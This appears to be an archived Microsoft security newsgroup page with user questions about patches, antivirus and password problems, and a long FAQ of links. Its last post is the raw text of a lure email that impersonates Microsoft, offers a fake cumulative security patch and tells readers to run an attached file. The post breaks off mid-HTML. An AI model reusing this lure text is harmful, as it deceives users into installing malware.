home page
My msn home page keeps changing to one of two search
engines I delete all files under these names but they
always come back is there a way to block them Tag: Watch this critical package that came from the M$ Corporation Tag: 39076
** READ THIS BEFORE POSTING - answers to frequently asked questions 2003.11.05
Before you post a question to a Microsoft.public.*.security newsgroup, note
that your question may already be answered below:
Answers to Top Frequently Asked Questions:
http://securityadmin.info
My question is not mentioned below. How do I get an answer immediately,
with no waiting?
http://securityadmin.info/faq.htm#moreinfo
See also: http://www.google.com/groups?as_ugroup=microsoft.public.*
See also: http://www.google.com/advanced_group_search
See also: http://www.google.com
I want to post a problem or question to the newsgroup. What info do I need
to post in order to get a correct answer quickly?
http://securityadmin.info/faq.htm#netiquette
I just heard about a new Microsoft security patch update. Where can I get
the patch?
http://windowsupdate.microsoft.com OR
http://www.microsoft.com/technet/security/current.asp
I just installed a Microsoft security patch update, and now my computer is
having problems.
http://securityadmin.info/faq.htm#patchbroke
I received an email from Microsoft / Microsoft Support / Microsoft Internet
Security Center claiming to be a security patch [or comprehensive Internet
Explorer update]. Is this a virus?
http://securityadmin.info/faq.htm#microsoftemail
ALSO NOTE: www.grisoft.com is free antivirus, USE IT.
I received a virus email from a Microsoft email address. Who do I report
this to?
http://securityadmin.info/faq.htm#microsoftemail
I have the RPC Blaster worm "virus," what do I do?
http://www.microsoft.com/security/incident/blast.asp
ALSO NOTE: www.grisoft.com is free antivirus, USE IT.
My computer is giving RPC Remote Procedure Call messages.
There is a TFTP message or file on my computer.
My computer keeps locking up, and/or rebooting, or telling me that it will
reboot in 1 minute.
http://www.microsoft.com/security/incident/blast.asp
ALSO NOTE: www.grisoft.com is free antivirus, USE IT.
Where can I download the Blaster worm / RPC DCOM patch?
http://windowsupdate.microsoft.com OR
http://www.microsoft.com/technet/security/current.asp
I'm having a problem caused by the JDBGMGR.EXE Teddy Bear "virus" hoax, or I
want to replace this file.
http://securityadmin.info/faq.htm#jdbgmgr
I forgot my Windows logon password and can't log in. How do I reset it?
http://securityadmin.info/faq.htm#password
I have a problem or a question with a virus or with antivirus.
http://securityadmin.info/faq.htm#virus
NOTE: www.grisoft.com is free antivirus, USE IT.
Why is Outlook Express blocking my attachments as "unsafe"?
http://securityadmin.info/faq.htm#attachments
How do I stop getting pop-up messages? Or adware? Or spyware?
http://securityadmin.info/faq.htm#pop-ups
How do I block people from viewing adult or objectionable content on a
computer?
http://securityadmin.info/faq.htm#contentfilter
How do I block spam emails?
http://securityadmin.info/faq.htm#spam
There is a Content Advisor password blocking me from certain web sites.
http://securityadmin.info/faq.htm#contentadvisor
How do I delete an FTP folder that a hacker put on my computer and I cannot
delete?
http://securityadmin.info/faq.htm#ftpfolder
Have I been hacked? What do I do if I've been hacked?
http://securityadmin.info/faq.htm#hacked
How do I re-secure a computer that has been hacked?
http://securityadmin.info/faq.htm#re-secure
How do I test or improve the security on my computer to avoid being hacked?
http://securityadmin.info/faq.htm#harden
How do I investigate a suspicious IP address that may be trying to hack me?
http://securityadmin.info/faq.htm#trace
How do I report a hacker?
http://securityadmin.info/faq.htm#reporthacker
How do I use a port scanner or vulnerability scanner to test my security?
http://securityadmin.info/faq.htm#portscanner
How do I encrypt my files and/or hard drive?
http://securityadmin.info/faq.htm#encryption
How do I get a firewall? IDS?
http://securityadmin.info/faq.htm#firewall
I want to use the IPSec filtering or IP filtering feature of Windows to
block certain ports and have a problem or question.
http://securityadmin.info/faq.htm#ipsec
I have a problem or question with the XP ICF firewall.
http://securityadmin.info/faq.htm#icf
I have a problem or question with the IIS URLScan tool.
http://securityadmin.info/faq.htm#urlscan
How do I change the banner on my computer or server to hide what software
version I'm using?
http://securityadmin.info/faq.htm#banner
How do I enable Windows Auditing to tell who logged into Windows or who
accessed a file?
http://securityadmin.info/faq.htm#auditing
How do I inspect and disable programs that start up when Windows starts?
http://securityadmin.info/faq.htm#startup
How do I use RUNAS or let someone use RUNAS to run commands as administrator
without having to type the password?
http://securityadmin.info/faq.htm#runas
How do I let non-administrator users run Defrag or change their IP address?
http://securityadmin.info/faq.htm#runas
My question is not mentioned above. How do I get an answer immediately,
with no waiting?
http://securityadmin.info/faq.htm#moreinfo
See also: http://www.google.com/groups?as_ugroup=microsoft.public.*
See also: http://www.google.com/advanced_group_search
See also: http://www.google.com
I want to post a problem or question to the newsgroup. What info do I need
to post in order to get a correct answer quickly?
http://securityadmin.info/faq.htm#netiquette
Note that this is NOT a full list of all the questions answered in the FAQ.
Chances are, your question has probably already been answered. The complete
FAQ is at:
http://securityadmin.info/faq.htm#contents
I hope this is helpful. Feedback, suggestions and criticism regarding the
FAQ are welcome and may be emailed to me.
kind regards,
Karl Levinson, CISSP, MCSE, MVP
email: levinson_k@despammed.com Tag: Watch this critical package that came from the M$ Corporation Tag: 39073
Security patches deleted by Norton Antivirus
It's not uncommon for me to receive several e-mails each
day from Microsoft Network or Microsoft Technical support
with their latest security patch. Norton Antivirus
removes each attachment. When I go to the Microsoft update
page, it scans my system and says I already have all the
latest critical updates. Either I need to stop Norton
Antivirus from blocking the updates, or stop getting the e-
mails. I don't know which to do or how to do either. Tag: Watch this critical package that came from the M$ Corporation Tag: 39070
Can you patch install files ?
Is there a way to update install files with patches, like you can do with
service packs, my Win2K and XP automated installs install as SP4 and SP1
respectively but that's not enough, do a virgin install and whammo the thing
is infected before you can do anything.
So the question is, can you apply KB823980 for example to your install
files, I have looked around and cannot see how to do this ? I could probably
do it by making Wininstall packages but don't see why I should have to use a
3rd party product, even SMS is not really an option because it will take
time to be discovered etc etc, you really want it updated when it's
installed.
Cheers and any help greatly appreciated
Phill Tag: Watch this critical package that came from the M$ Corporation Tag: 39061
brower support
cannot access online banking, need 128 bit version, don't
know how to access and load. pls help. Tag: Watch this critical package that came from the M$ Corporation Tag: 39055
content advisor supervisor password
I set one, but now I need to change it. Anyone know how? Tag: Watch this critical package that came from the M$ Corporation Tag: 39050
Virus: w32ircbot.gen detected by Norton - Pls read
Hi!
Norton detected a program: WebPrint.exe within which it found a virus:
W32.IRCBot.Gen.
Norton could not guarantine it, I cannot more, rename or delete it. Each
time Norton runs, it is seen/detected but no action is or can be
(apparently) taken.
Does anyone know anything about this virus? How do I remove it?
Pls advise,
Wayne Tag: Watch this critical package that came from the M$ Corporation Tag: 39048
Need to install ALL patches?
After using WinXP for 1 yr, I've reformatted my laptop
back to as new. (Too clean up a bit).
Ran the Windows XP security update scan, identified 45
patches that need to be installed.
I've just finished installing Service Patch 1.
Now do I have to install ALL 44 patches???
There are multiple patches that fix the same thing (but
each came out at different dates)
"Fixes a hole in IE that prevents hackers from taking over
your computer".
Can I just pick the latest version of this type of patch? Tag: Watch this critical package that came from the M$ Corporation Tag: 39015
SUS (Software Update Services)
Anyone in this NG know anything about SUS? I have an XP
client that has the Automatic Update client installed,
but does not have AU options available in the Group
Policy window. Any idea what I'm missing?
Brandon Tag: Watch this critical package that came from the M$ Corporation Tag: 39002
So Much for Free Support!
I was told by a MS rep that I could simply call an 800
number and get free support for SUS (Software Update
Services). Boy was that rep wrong! They didn't have a
clue at that phone number. Didn't even know what SUS
was. I wish MS people would "get on the same page"
before they start telling people to call a number for
free security support . . . Tag: Watch this critical package that came from the M$ Corporation Tag: 39001
Outlook Express
I am new to using outlook express. Every time I get an
attachement the system says 'OE has deleted the following
unsafe attachment.' I am frustrated because most of these
are from repitable people, my college professor, and I
can't open my attachments. Is there something I can
change to disable this feature?
Please help Tag: Watch this critical package that came from the M$ Corporation Tag: 38998
Shell32 problem
I am running windows 98 and have the following error
message on a frequent basis.
"Error starting programme"
APP30C1 TMP file ilinked to missing export shell32DLL SH
Get folder pathA.
I do not know and cannot find APP30C1TMP
Can anyone help please. Tag: Watch this critical package that came from the M$ Corporation Tag: 38996
Patches / Hotfix's Concise list ?
Is there a site or resource that lists all microsoft
patches / hotfix's for all m$ products? M$'s site is ok,
but you have to visit multiple pages to list out each p/h.
I want to be able to search/filter/list based on what i
want to see... anyone???
TIA,
Steve Tag: Watch this critical package that came from the M$ Corporation Tag: 38991
Password Problem
My son has a HP notebook that has WindowsXP home edition
and he have never used a password to logon to windows.
Now all of a sudden it is asking for a password when it
boots into windows. I tried all of the trouble shooting
such as leaving it blank, safe mode, etc. Nothing worked.
Can anyone explain how this could happen? HP support
said I would have to use my recovery disk which would
wipe out all of my data.
My question is can I install WindowsXP Pro over WindowsXP
Home without losing all of my files and other
applications? When I boot to the CD it says that "all
files, subfolders, user accounts, applications, security
and desktop settings for that Windows installation will
be deleted. The MY Documents folder may also be
deleted." Does this mean if I have MS Word - those files
would be deleted? Alot of my files are in My Documents
even though they may be from other applications.
I would appreciate anyones help!
Thanks Tag: Watch this critical package that came from the M$ Corporation Tag: 38990
See this critical patch
--yimbslpmdgfef
Content-Type: multipart/related; boundary="fakcafpgvmodqpkxg";
type="multipart/alternative"
--fakcafpgvmodqpkxg
Content-Type: multipart/alternative; boundary="trpvxoszvwznvto"
--trpvxoszvwznvto
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
MS User
this is the latest version of security update, the
"November 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to protect your computer
from these vulnerabilities.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
--trpvxoszvwznvto
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:igpyjhi" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
MS User<BR><BR>
this is the latest version of security update, the
"November 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
M